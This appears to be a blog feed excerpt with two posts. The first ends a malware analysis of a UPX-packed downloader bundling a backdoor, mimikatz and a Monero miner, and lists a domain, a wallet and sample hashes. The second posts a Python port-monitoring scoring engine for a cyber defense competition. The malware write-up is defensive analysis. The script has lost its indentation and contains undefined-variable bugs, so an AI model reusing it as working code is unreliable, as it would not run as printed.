<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP3g5IYx2z6_SloF8u-TfeaV7mCmD1rd0cibYdyDKk2dwTW1EuA7Il41mRbMXwGinUNbrrGHbR_dHDM8CYeBzxWy-6N9OgNl_a7R6r_b22DShzVXP8WL3pDEx3uCn71Bwzdr3XPD1msqQ/s1600/Capture2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="101" data-original-width="385" height="103" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP3g5IYx2z6_SloF8u-TfeaV7mCmD1rd0cibYdyDKk2dwTW1EuA7Il41mRbMXwGinUNbrrGHbR_dHDM8CYeBzxWy-6N9OgNl_a7R6r_b22DShzVXP8WL3pDEx3uCn71Bwzdr3XPD1msqQ/s400/Capture2.PNG" width="400" /></a></div>
<br />
I then downloaded this file from the location and analyzed it further. This malware was also UPX compressed. I decompressed the file and conducted a basic analysis. You can see that it contains backdoor functionality, mimikatz, a list of passwords for brute forcing, and more. Below is filtered by the string "http" using grep -i.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBizl5_T9M1JyKq9Gr47yymWWpWhnNqQ5xW1gKEvt8M9MB8guEH7KNjZz8FOi13KwJtzXJZRp6A6gN3G1OrY_Fg-BgtjV5AuUN9cXHpesLPp1p7bjPVyt881lwLKX93uoiP67Yf2EBLBA/s1600/Capture3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="125" data-original-width="423" height="117" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBizl5_T9M1JyKq9Gr47yymWWpWhnNqQ5xW1gKEvt8M9MB8guEH7KNjZz8FOi13KwJtzXJZRp6A6gN3G1OrY_Fg-BgtjV5AuUN9cXHpesLPp1p7bjPVyt881lwLKX93uoiP67Yf2EBLBA/s400/Capture3.PNG" width="400" /></a></div>
<br />
We find another domain that is involved called heroherohero.info. That is another rabbit hole that can be investigated. The part of the binary that caught my attention was the Cfg.ini file. This configuration file contains information to run a mineXMR bot. The address of the wallet is in the screenshot below:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCyBsWd-bJyQB7yRLHPfqfuH4Czw-qgAZryKuk5Sedt2qZWhfeN2cur8IvPTGV_oiqGsX7sZHCzzkmQ8RVV1yutMbbHiOmkmUiH-niELY3BqwOdWfk-bh8RQa9tNwUAnXPRaD5-LA0mX4/s1600/Capture4.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="328" data-original-width="722" height="289" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCyBsWd-bJyQB7yRLHPfqfuH4Czw-qgAZryKuk5Sedt2qZWhfeN2cur8IvPTGV_oiqGsX7sZHCzzkmQ8RVV1yutMbbHiOmkmUiH-niELY3BqwOdWfk-bh8RQa9tNwUAnXPRaD5-LA0mX4/s640/Capture4.PNG" width="640" /></a></div>
<br />
They are utilizing the Singapore MineXMR location. If you lookup the address you can see the following screenshot:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQW8XJeLSkNy50ZoJW4OgXjmCfC-knlUezRYW3Jl6klYM-87kbtIesL5WphtSeBLod9YfwAs53xDfRuGhwsg6xq_0IDcTD-Z3Q2yhHrYMl_o_ajGGcbey5OJa7HZ6ikTsFhwM7WEGQGDQ/s1600/Capture5.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="639" data-original-width="731" height="558" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQW8XJeLSkNy50ZoJW4OgXjmCfC-knlUezRYW3Jl6klYM-87kbtIesL5WphtSeBLod9YfwAs53xDfRuGhwsg6xq_0IDcTD-Z3Q2yhHrYMl_o_ajGGcbey5OJa7HZ6ikTsFhwM7WEGQGDQ/s640/Capture5.PNG" width="640" /></a></div>
<br />
This wallet is probably the benefits of infected computers. At the bottom you can see that 123 XMR is the total paid which amounts to $46 each XMR for $5,658. This is not much for the expense of others.<br />
<br />
Here are the hashes of the malware that I collected from this analysis:<br />
<br />
789072c3f9fe20c7aa691bb23fbfb0ce4239c659889bb1f19f9d81b8493dc117 Cfg.ini<br />
b1017cb86875e7c4a6037db439769650384bca5439d9426cca844038a38c3f00 download.exe<br />
bb2d54d74274dcc822481650d7025b06d0523b473b8f1b82fbd0efe67f196550 original_download.exe<br />
06408e8b2d311cc6f7e85386f3acc4f3b3b8d7e4b4fbec27c49803ce66b2852e original_unloadcur.exe<br />
a7978d10e171d997a448214edca68e6c22980c0908183df59884f97ab7079322 unloadcur.exe<br />
<br />
Enjoy...thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-86103304503035539672018-12-01T18:46:00.000-07:002018-12-11T17:03:09.657-07:00Simple Monitor / Scoring Engine in Python3The below script was built to monitor IP Addresses and Ports that are open on a network. Below is more of the dialogue of why it was created and what it does.<br />
<br />
Almost 2 years ago I was asked to create a simple script that would monitor if a set of ports were open or closed. Then if the ports were open provide points for them that would add up for a team score. This script was used for the LDSBC High School Cyber Defense competition to determine if a team had maintained there systems online as they protected them from a red team and hardened them. Here is what I created located on <a href="https://github.com/thepcn3rd/monitorCTF" target="_blank">my github</a>.<br />
<br />
I was asked for the same script that I used 2 years ago and found out they have used it a couple of times since that time. The below script is a much improved scoring engine which the LDSBC is going to use in the High School Cyber Defense competition coming up December 7th.<br />
<br />
After running the script I found the following use for it. I have been in situations where a system administrator or myself has turned off a monitoring system like Nagios due to the amount of alarms that are firing during an outage. The below script could be used during a timeframe like that to monitor systems that you are working to fix or verify they are working as you are in the middle of an outage.<br />
<br />
The script is built to allow you to launch it, configure teams or vlans. Then after configuring notes about a team or a vlan, configure the IPs and ports you would like monitored. After launching it provides a status every 10 minutes of the IPs and ports that are UP or DOWN. The score could be evaluated as the consistency of a system being up. An audit log is also generated that could be viewed to determine the UP or DOWN time of systems.<br />
<br />
Currently it is tuned to allow up to 6 teams/vlans with up-to 20 IPs/Ports per team or a total of 120 IPs/Ports to be monitored within a 10 minute period of time. This also saves a file that could be restored every 10 minutes during the monitoring process. This script also allows you to save a configuration that you create.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;">
#!/usr/bin/python3
# Created Nov. 30, 2018
# Updated Dec. 11, 2018
import socket
import datetime
import time
class Teams:
def __init__(self):
self.teamName = []
def addTeam(self, name):
self.teamName.append(name)
return self
class Team:
def __init__(self, name, description, location, score):
self.name = name
self.description = description
self.location = location
self.score = int(score)
class Ports:
def __init__(self):
self.monitoredPorts = []
def addPort(self, portInfo):
self.monitoredPorts.append(portInfo)
return self
class Port:
def __init__(self, teamName, ip, port, description):
self.teamName = teamName
self.ip = ip
self.port = port
self.description = description
def modifyPort(poInfo, teInfo):
while True:
print('')
print('')
print('')
print('Port Modification')
print('***************************************************************************************')
tInfo = "Name:" + str(teInfo.name)
tInfo += "\tDesc: " + str(teInfo.description)
tInfo += "\tLocation: " + str(teInfo.location)
tInfo += "\tScore: " + str(teInfo.score)
print(tInfo)
print("")
pInfo = "Port Desc:" + str(poInfo.description)
pInfo += "\tIP:" + str(poInfo.ip)
pInfo += "\tPort:" + str(poInfo.port)
print('***************************************************************************************')
print("")
print("D. Modify IP/Port Description")
print("I. Modify IP")
print("P. Modify Port")
print("")
print("R. Refresh")
print("Q. Quit to IP/Port Setup")
print("")
selectMod = input("> ")
if selectMod == 'D' or selectPort == 'd':
newDesc = input("Change IP/Port description to: ")
poInfo.description = newDesc.strip().replace('\n','').replace('\r','')
elif selectMod == 'I' or selectMod == 'i':
newIP = input("Change IP to: ")
poInfo.ip = newIP.strip().replace('\n','').replace('\r','')
elif selectMod == 'P' or selectMod == 'p':
newPort = input("Change Port to: ")
poInfo.port = int(newPort.strip().replace('\n','').replace('\r',''))
elif selectPort == 'Q' or selectPort == 'q':
return
else:
continue
return
def setPorts(teamInfo, nPorts):
while True:
print('')
print('')
print('')
print('IP/Port Setup')
print('***************************************************************************************')
tInfo = "Name:" + str(teamInfo.name)
tInfo += "\tDesc: " + str(teamInfo.description)
tInfo += "\tLocation: " + str(teamInfo.location)
tInfo += "\tScore: " + str(teamInfo.score)
print(tInfo)
print('***************************************************************************************')
portNumber = 1
portNumberSet = []
for port in nPorts.monitoredPorts:
if port.teamName == teamInfo.name:
# Check if IP is in correct format
# Check if Port is in correct format
print(str(portNumber) + ". " + str(port.description) + "\t\tIP:" + str(port.ip) + "\t\tPort:" + str(port.port))
portNumberSet.append(portNumber)
portNumber += 1
if len(nPorts.monitoredPorts) == 0:
print("No ports have been configured.")
if len(nPorts.monitoredPorts) > 0:
print("** To modify a monitored port above select the number in the front.")
print("")
print('A. Add Port')
print('')
print('N. Modify Team Name')
print('D. Modify Team Description')
print('L. Modify Team Location')
print('S. Modify Team Score')
print('')
print('Q. Quit to Main')
print
selectPort = input('> ')
try:
numbPort = int(selectPort)
if len(nPorts.monitoredPorts) >= numbPort and numbPort in portNumberSet:
modifyPort(nPorts.monitoredPorts[numb-1], teamInfo)
except:
if selectPort == 'A' or selectPort == 'a':
portDescription = input("Input Description of Monitored Port: ")
portDescription = portDescription.strip().replace('\n','').replace('\r','')
portIP = input("Input IP to Monitor for " + str(teamInfo.name) + ": ")
portIP = portIP.strip().replace('\n','').replace('\r','')
portPort = input("Input Port to Monitor: ")
portPort = int(portPort.strip().replace('\n','').replace('\r',''))
nPorts.addPort(Port(teamInfo.name, portIP, portPort, portDescription))
elif selectPort == 'N' or selectPort == 'n':
newName = input("Change team name to: ")
newName = newName.strip().replace('\n','').replace('\r','')
teamInfo.name = newName
elif selectPort == 'D' or selectPort == 'd':
newDesc = input("Change team description to: ")
newDesc = newDesc.strip().replace('\n','').replace('\r','')
teamInfo.description = newDesc
elif selectPort == 'L' or selectPort == 'l':
newLoc = input("Change team location to: ")
newLoc = newLoc.strip().replace('\n','').replace('\r','')
teamInfo.location = newLoc
elif selectPort == 'S' or selectPort == 's':
newScore = input("Change team score from " + str(teamInfo.score) + " to: ")
newScore = newScore.strip().replace('\n','').replace('\r','')
teamInfo.score = int(newScore)
elif selectPort == 'Q' or selectPort == 'q':
main()
else:
continue
return
def saveTeam(nTeams, nPorts):
print('')
fileName = input('Input file to save to, contents will be overwritten (i.e. savedTeam.txt): ')
fileName = fileName.strip().replace('\n','').replace('\r','')
if len(fileName) < 4:
print('Invalid file name, using savedTeam.txt')
fileName = 'savedTeam.txt'
f = open(fileName, 'w')
for team in nTeams.teamName:
outputTeam = "TEAM" + "|" + str(team.name) + "|" + str(team.description) + "|" + str(team.location) + "|" + str(team.score) + "\r\n"
f.write(outputTeam)
for port in nPorts.monitoredPorts:
outputPort = "PORT" + "|" + str(port.teamName) + "|" + str(port.ip) + "|" + str(port.port) + "|" + str(port.description) + "\r\n"
f.write(outputPort)
f.close()
return
def saveTeamMonitoring(nTeams, nPorts):
now = datetime.datetime.now()
timeInfo = now.strftime("_%m_%d_%YT%H_%M")
fileName = 'monitoringSaveTeam' + timeInfo + '.txt'
f = open(fileName, 'w')
for team in nTeams.teamName:
outputTeam = "TEAM" + "|" + str(team.name) + "|" + str(team.description) + "|" + str(team.location) + "|" + str(team.score) + "\r\n"
f.write(outputTeam)
for port in nPorts.monitoredPorts:
outputPort = "PORT" + "|" + str(port.teamName) + "|" + str(port.ip) + "|" + str(port.port) + "|" + str(port.description) + "\r\n"
f.write(outputPort)
f.close()
print('Saved current team information to the file "' + fileName + '"')
print('If you stop the program you can restore this file with the scores at this point-in-time.')
return
def loadTeam(nTeams, nPorts):
print('')
fileName = input('Input file name to load: ')
fileName = fileName.strip().replace('\n','').replace('\r','')
if len(fileName) < 4:
print('Invalid file name, trying savedTeam.txt')
fileName = 'savedTeam.txt'
try:
f = open(fileName, 'r')
for line in f:
column = line.split('|')
if column[0] == 'TEAM':
nTeams.addTeam(Team(column[1], column[2], column[3], column[4].strip()))
elif column[0] == 'PORT':
nPorts.addPort(Port(column[1], column[2], column[3], column[4].strip()))
else:
print('Invalid line format found in ' + fileName + '. You will need to manually correct it.')
f.close()
print("")
print("** Note: The score was loaded with the restored information...")
print("")
except:
print("")
print('Sorry either the file does not exist or problems loading the file exist.')
print("")
return
def monitorMode(currentTeams, currentPorts):
while True:
print('')
print('')
print('')
print('Monitoring Mode - Will cylcle through all ports every 10 minutes...')
print('**Note: If the cycle time is greater than 600 seconds not enough time is allowed.')
print('***************************************************************************************')
print('Current Team Scores')
for team in currentTeams.teamName:
teamInfo = str(team.name)
teamInfo += "\tDesc: " + str(team.description)
teamInfo += "\tLocation: " + str(team.location)
teamInfo += "\tScore: " + str(team.score)
print(teamInfo)
print('***************************************************************************************')
fAudit = open('auditLog.txt', 'a')
timeSleep = 0
totalSleep = 0
beforeCycle = time.time()
for port in currentPorts.monitoredPorts:
ip = port.ip
currentPort = int(port.port)
beforeDate = datetime.datetime.now()
beforeConnection = time.time()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
result = s.connect_ex((ip,currentPort))
s.close()
if result == 0:
for team in currentTeams.teamName:
if team.name == port.teamName:
# For each successful connection it provides 5 points
team.score = team.score + 5
teamScore = team.score
infoAudit = port.teamName + "|"
infoAudit += port.ip + "|"
infoAudit += str(port.port) + "|"
infoAudit += "UP|"
infoAudit += beforeDate.strftime("%m-%d-%Y %H:%M:%S") + "|"
infoAudit += str(teamScore)
print(infoAudit)
infoAudit += "\r\n"
fAudit.write(infoAudit)
else:
infoAudit = port.teamName + "|"
infoAudit += port.ip + "|"
infoAudit += str(port.port) + "|"
infoAudit += "DOWN|"
infoAudit += beforeDate.strftime("%m-%d-%Y %H:%M:%S") + "|"
infoAudit += "|"
print(infoAudit)
infoAudit += "\r\n"
fAudit.write(infoAudit)
afterConnection = time.time()
# Sleep for a total of 5 seconds per connection whether failed or successful
timeSleep = 5 - (afterConnection - beforeConnection)
#print("Time Elapsed: " + str(timeSleep))
time.sleep(timeSleep)
totalSleep += 5
fAudit.close()
print("")
saveTeamMonitoring(currentTeams, currentPorts)
# Setup to monitor all connections every 10 minutes (6 teams 20 ports = 120 ports * 5 seconds = 600 seconds)
# 3 hours / 10 minutes = 18 cycles
afterCycle = time.time()
totalCycle = afterCycle - beforeCycle
print("")
print("Cycle took " + str(totalCycle) + " seconds.")
totalTimeSleep = 600 - (afterCycle - beforeCycle)
print("Sleeping for " + str(totalTimeSleep) + " seconds until the next cycle.")
time.sleep(totalTimeSleep)
totalSleep = 0
return
def main(newTeams, newPorts):
while True:
print('')
print('')
print('')
print('Main Menu')
print('***************************************************************************************')
teamNumber = 1
for team in newTeams.teamName:
portCount = 0
for port in newPorts.monitoredPorts:
if port.teamName == team.name:
portCount += 1
teamInfo = str(teamNumber) + ". "
teamInfo += str(team.name)
teamInfo += "\tDesc: " + str(team.description)
teamInfo += "\tLocation: " + str(team.location)
teamInfo += "\tPorts Configured: " + str(portCount)
teamInfo += "\tScore: " + str(team.score)
print(teamInfo)
teamNumber += 1
if len(newTeams.teamName) == 0:
print("No teams have been configured.")
if len(newTeams.teamName) > 0:
print("** To modify a team select the number in the front.")
print('')
print('A. Add Team')
print('L. Load Team Info from File')
print('S. Save Team Info to File')
print('')
print('Type "Monitor" to enter monitoring mode based on the configuration above')
print('')
print('R. Refresh')
print('Q. Quit')
print("")
selection = input('> ')
try:
numb = int(selection)
if len(newTeams.teamName) >= numb:
setPorts(newTeams.teamName[numb-1], newPorts)
except:
if selection == 'A' or selection == 'a':
teamName = input("Input team name: ")
teamDescription = input("Input team description: ")
teamLocation = input("Input team location: ")
newTeams.addTeam(Team(teamName, teamDescription, teamLocation, 0))
elif selection == 'L' or selection == 'l':
loadTeam(newTeams, newPorts)
elif selection == 'S' or selection == 's':
saveTeam(newTeams, newPorts)
elif selection == 'Q' or selection == 'q':
exit()
elif selection == 'monitor' or selection == 'Monitor' or selection == 'MONITOR':
monitorMode(newTeams, newPorts)
else:
continue
return
listTeams = Teams()
listPorts = Ports()
main(listTeams, listPorts)
</code></pre>
<br />thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0